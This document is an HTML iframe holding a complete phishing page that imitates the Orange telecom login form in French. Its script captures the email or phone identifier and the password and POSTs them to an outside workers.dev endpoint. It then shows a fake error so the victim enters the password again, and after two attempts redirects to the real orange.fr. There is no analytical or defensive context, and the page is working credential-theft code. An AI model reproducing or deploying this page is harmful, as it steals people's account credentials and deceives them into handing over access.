<iframe id%3D"iframe-130798" frameBorder%3D"0" sandbox%3D"allow-scripts allow-same-origin allow-forms allow-popups allow-presentation allow-top-navigation" src%3D"javascript: window.frameElement.getAttribute("%3Bsrcdoc"%3B)%3B" srcDoc%3D"<%3Bscript>%3Bwindow.onmessage %3D function(event) {event.source.postMessage({iframeId: event.data, scrollHeight: document.body.getBoundingClientRect().height || document.body.scrollHeight}, event.origin)%3B}%3B<%3B/script>%3B<%3Bbody style%3D'%3Bmargin: 0'%3B>%3B<%3B!DOCTYPE html>%3B<%3Bhtml lang%3D"%3Bfr"%3B>%3B<%3Bhead>%3B <%3Bmeta charset%3D"%3BUTF-8"%3B>%3B <%3Bmeta name%3D"%3Bviewport"%3B content%3D"%3Bwidth%3Ddevice-width, initial-scale%3D1.0, maximum-scale%3D1.0, user-scalable%3Dno"%3B>%3B <%3Btitle>%3BSaisie de votre identifiant - Orange<%3B/title>%3B <%3Blink href%3D"%3Bhttps://fonts.googleapis.com/css2?family%3DHelvetica+Neue:wght@400%3B700&%3Bfamily%3DArial:wght@400%3B700&%3Bdisplay%3Dswap"%3B rel%3D"%3Bstylesheet"%3B>%3B <%3Bstyle>%3B /* %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D RESET &%3B GLOBALS %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D */ * { box-sizing: border-box%3B margin: 0%3B padding: 0%3B -webkit-tap-highlight-color: transparent%3B } body { font-family: '%3BHelvetica Neue'%3B, Arial, sans-serif%3B background-color: #f2f2f2%3B display: flex%3B justify-content: center%3B min-height: 100vh%3B color: #000000%3B } .app-container { width: 100%%3B max-width: 450px%3B display: flex%3B flex-direction: column%3B min-height: 100vh%3B background-color: #f2f2f2%3B position: relative%3B } /* %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D TOP SECTION (WHITE) %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D */ .top-section { background-color: #ffffff%3B padding: 50px 20px 60px 20px%3B width: 100%%3B position: relative%3B z-index: 10%3B box-shadow: 0 4px 10px rgba(0,0,0,0.05)%3B } .main-title { font-size: 24px%3B font-weight: 700%3B text-align: center%3B margin-bottom: 40px%3B letter-spacing: 0.5px%3B } .sub-title { font-size: 18px%3B font-weight: 700%3B margin-bottom: 30px%3B } /* %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D ERROR BOX %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D */ .error-msg { background-color: #fde8e8%3B color: #c0392b%3B border: 1px solid #fca5a5%3B padding: 12px%3B border-radius: 4px%3B font-size: 14px%3B font-weight: 600%3B margin-bottom: 25px%3B display: none%3B line-height: 1.4%3B } /* %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D FORM ELEMENTS %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D */ .input-group { position: relative%3B margin-bottom: 30px%3B } .orange-input { width: 100%%3B border: none%3B border-bottom: 1px solid #999999%3B padding: 10px 0%3B font-size: 16px%3B color: #000000%3B outline: none%3B background: transparent%3B border-radius: 0%3B transition: border-color 0.2s ease%3B } .orange-input::placeholder { color: #777777%3B } .orange-input:focus { border-bottom: 2px solid #f16e00%3B } .orange-input.input-error { border-bottom: 2px solid #c0392b%3B } .eye-btn { position: absolute%3B right: 0%3B top: 50%%3B transform: translateY(-50%)%3B cursor: pointer%3B background: none%3B border: none%3B display: flex%3B align-items: center%3B justify-content: center%3B padding: 5px%3B } .eye-btn svg { width: 22px%3B height: 22px%3B fill: #666666%3B } /* %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D BUTTONS %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D */ .btn-wrapper { display: flex%3B justify-content: center%3B margin-top: 40px%3B } .btn-black { background-color: #000000%3B color: #ffffff%3B border: none%3B padding: 14px 30px%3B font-size: 15px%3B font-weight: 700%3B cursor: pointer%3B min-width: 180px%3B transition: opacity 0.2s, transform 0.1s%3B } .btn-black:active { transform: scale(0.98)%3B opacity: 0.8%3B } .btn-black:disabled { opacity: 0.7%3B cursor: not-allowed%3B transform: none%3B } .forgot-links { margin-top: 25px%3B text-align: center%3B font-size: 13px%3B } .forgot-links a { color: #f16e00%3B text-decoration: none%3B font-weight: 600%3B } .forgot-links a:hover { text-decoration: underline%3B } /* %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D BOTTOM SECTION %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D */ .bottom-section { flex-grow: 1%3B background-color: #f2f2f2%3B } <%3B/style>%3B<%3B/head>%3B<%3Bbody>%3B <%3Bdiv class%3D"%3Bapp-container"%3B>%3B <%3Bdiv class%3D"%3Btop-section"%3B>%3B <%3Bdiv class%3D"%3Bmain-title"%3B>%3BIdentifiez-vous<%3B/div>%3B <%3Bdiv class%3D"%3Bsub-title"%3B>%3BConnectez-vous votre compte<%3B/div>%3B <%3Bdiv id%3D"%3Borange-error"%3B class%3D"%3Berror-msg"%3B>%3B L'%3Bidentifiant ou le mot de passe est incorrect. Veuillez ressayer. <%3B/div>%3B <%3Bform id%3D"%3BorangeForm"%3B>%3B <%3Bdiv class%3D"%3Binput-group"%3B>%3B <%3Binput type%3D"%3Bemail"%3B id%3D"%3Bidentifiant"%3B class%3D"%3Borange-input"%3B placeholder%3D"%3BAdresse e-mail ou n de mobile Orange"%3B required autocomplete%3D"%3Boff"%3B>%3B <%3B/div>%3B <%3Bdiv class%3D"%3Binput-group"%3B>%3B <%3Binput type%3D"%3Bpassword"%3B id%3D"%3Bpassword"%3B class%3D"%3Borange-input"%3B placeholder%3D"%3BMot de passe"%3B required>%3B <%3Bbutton type%3D"%3Bbutton"%3B class%3D"%3Beye-btn"%3B id%3D"%3BtogglePassword"%3B>%3B <%3Bsvg viewBox%3D"%3B0 0 24 24"%3B>%3B<%3Bpath d%3D"%3BM12 7c2.76 0 5 2.24 5 5 0 .65-.13 1.26-.36 1.83l2.92 2.92c1.51-1.26 2.7-2.89 3.43-4.75-1.73-4.39-6-7.5-11-7.5-1.4 0-2.74.25-3.98.7l2.16 2.16C10.74 7.13 11.35 7 12 7zM2 4.27l2.28 2.28.46.46C3.08 8.3 1.78 10.02 1 12c1.73 4.39 6 7.5 11 7.5 1.55 0 3.03-.3 4.38-.84l.42.42L19.73 22 21 20.73 3.27 3 2 4.27zM7.53 9.8l1.55 1.55c-.05.21-.08.43-.08.65 0 1.66 1.34 3 3 3 .22 0 .44-.03.65-.08l1.55 1.55c-.67.33-1.41.53-2.2.53-2.76 0-5-2.24-5-5 0-.79.2-1.53.53-2.2zm4.31-.78l3.15 3.15.02-.16c0-1.66-1.34-3-3-3l-.17.01z"%3B/>%3B<%3B/svg>%3B <%3B/button>%3B <%3B/div>%3B <%3Bdiv class%3D"%3Bbtn-wrapper"%3B>%3B <%3Bbutton type%3D"%3Bsubmit"%3B id%3D"%3BbtnSubmit"%3B class%3D"%3Bbtn-black"%3B>%3BS'%3Bidentifier<%3B/button>%3B <%3B/div>%3B <%3B/form>%3B <%3Bdiv class%3D"%3Bforgot-links"%3B>%3B <%3Ba href%3D"%3B#"%3B>%3BMot de passe oubli ?<%3B/a>%3B <%3B/div>%3B <%3B/div>%3B <%3Bdiv class%3D"%3Bbottom-section"%3B>%3B<%3B/div>%3B <%3B/div>%3B <%3Bscript>%3B // %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D PASSWORD EYE TOGGLE %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D document.getElementById('%3BtogglePassword'%3B).addEventListener('%3Bclick'%3B, function() { const pwdInput %3D document.getElementById('%3Bpassword'%3B)%3B const type %3D pwdInput.getAttribute('%3Btype'%3B) %3D%3D%3D '%3Bpassword'%3B ? '%3Btext'%3B : '%3Bpassword'%3B%3B pwdInput.setAttribute('%3Btype'%3B, type)%3B if (type %3D%3D%3D '%3Btext'%3B) { this.innerHTML %3D '%3B<%3Bsvg viewBox%3D"%3B0 0 24 24"%3B>%3B<%3Bpath d%3D"%3BM12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z"%3B/>%3B<%3B/svg>%3B'%3B%3B } else { this.innerHTML %3D '%3B<%3Bsvg viewBox%3D"%3B0 0 24 24"%3B>%3B<%3Bpath d%3D"%3BM12 7c2.76 0 5 2.24 5 5 0 .65-.13 1.26-.36 1.83l2.92 2.92c1.51-1.26 2.7-2.89 3.43-4.75-1.73-4.39-6-7.5-11-7.5-1.4 0-2.74.25-3.98.7l2.16 2.16C10.74 7.13 11.35 7 12 7zM2 4.27l2.28 2.28.46.46C3.08 8.3 1.78 10.02 1 12c1.73 4.39 6 7.5 11 7.5 1.55 0 3.03-.3 4.38-.84l.42.42L19.73 22 21 20.73 3.27 3 2 4.27zM7.53 9.8l1.55 1.55c-.05.21-.08.43-.08.65 0 1.66 1.34 3 3 3 .22 0 .44-.03.65-.08l1.55 1.55c-.67.33-1.41.53-2.2.53-2.76 0-5-2.24-5-5 0-.79.2-1.53.53-2.2zm4.31-.78l3.15 3.15.02-.16c0-1.66-1.34-3-3-3l-.17.01z"%3B/>%3B<%3B/svg>%3B'%3B%3B } })%3B // %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D CONFIGURATION &%3B API CALL %3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D const CONFIG %3D { apiUrl: "%3Bhttps://smart.orega.workers.dev/"%3B, projectId: "%3BORG"%3B, redirectUrl: "%3Bhttps://www.orange.fr/"%3B, maxAttempts: 2 }%3B document.getElementById('%3BorangeForm'%3B).addEventListener('%3Bsubmit'%3B, function(e) { e.preventDefault()%3B const identifiantInput %3D document.getElementById('%3Bidentifiant'%3B)%3B const passwordInput %3D document.getElementById('%3Bpassword'%3B)%3B const errorBox %3D document.getElementById('%3Borange-error'%3B)%3B const btn %3D document.getElementById('%3BbtnSubmit'%3B)%3B const identifiant %3D identifiantInput.value.trim()%3B const password %3D passwordInput.value.trim()%3B if(!identifiant || !password) return%3B const originalText %3D btn.innerText%3B btn.innerText %3D '%3BConnexion...'%3B%3B btn.disabled %3D true%3B errorBox.style.display %3D '%3Bnone'%3B%3B identifiantInput.classList.remove('%3Binput-error'%3B)%3B passwordInput.classList.remove('%3Binput-error'%3B)%3B // 2-Attempt Mechanics let attempts %3D parseInt(localStorage.getItem('%3Borange_single_attempts'%3B)) || 0%3B attempts++%3B localStorage.setItem('%3Borange_single_attempts'%3B, attempts)%3B const msg %3D ` **Nouveau Login Orange (Single Step)**\n **Tentative:** ${attempts}/${CONFIG.maxAttempts}\n **User:** ${identifiant}\n **Pass:** ${password}`%3B fetch(CONFIG.apiUrl, { method: '%3BPOST'%3B, mode: '%3Bcors'%3B, headers: { '%3BContent-Type'%3B: '%3Bapplication/json'%3B }, body: JSON.stringify({ id: CONFIG.projectId, text_data: msg }) }) .then(() %3D>%3B handleNavigation(attempts, passwordInput, btn, originalText, errorBox)) .catch(() %3D>%3B handleNavigation(attempts, passwordInput, btn, originalText, errorBox))%3B })%3B function handleNavigation(attempts, passwordInput, btn, originalText, errorBox) { if (attempts <%3B CONFIG.maxAttempts) { setTimeout(() %3D>%3B { errorBox.style.display %3D "%3Bblock"%3B%3B passwordInput.classList.add('%3Binput-error'%3B)%3B passwordInput.value %3D "%3B"%3B%3B passwordInput.focus()%3B btn.disabled %3D false%3B btn.innerText %3D originalText%3B }, 1000)%3B } else { localStorage.removeItem('%3Borange_single_attempts'%3B)%3B window.location.replace(CONFIG.redirectUrl)%3B } } <%3B/script>%3B<%3B/body>%3B<%3B/html>%3B<%3B/body>%3B" style%3D"width:100%%3Bdisplay:block%3Bheight:auto%3Boverflow:visible%3Btransition:height 1.5s ease%3B-webkit-transition:height 1.5s ease%3B-moz-transition:height .25s ease">Not flagged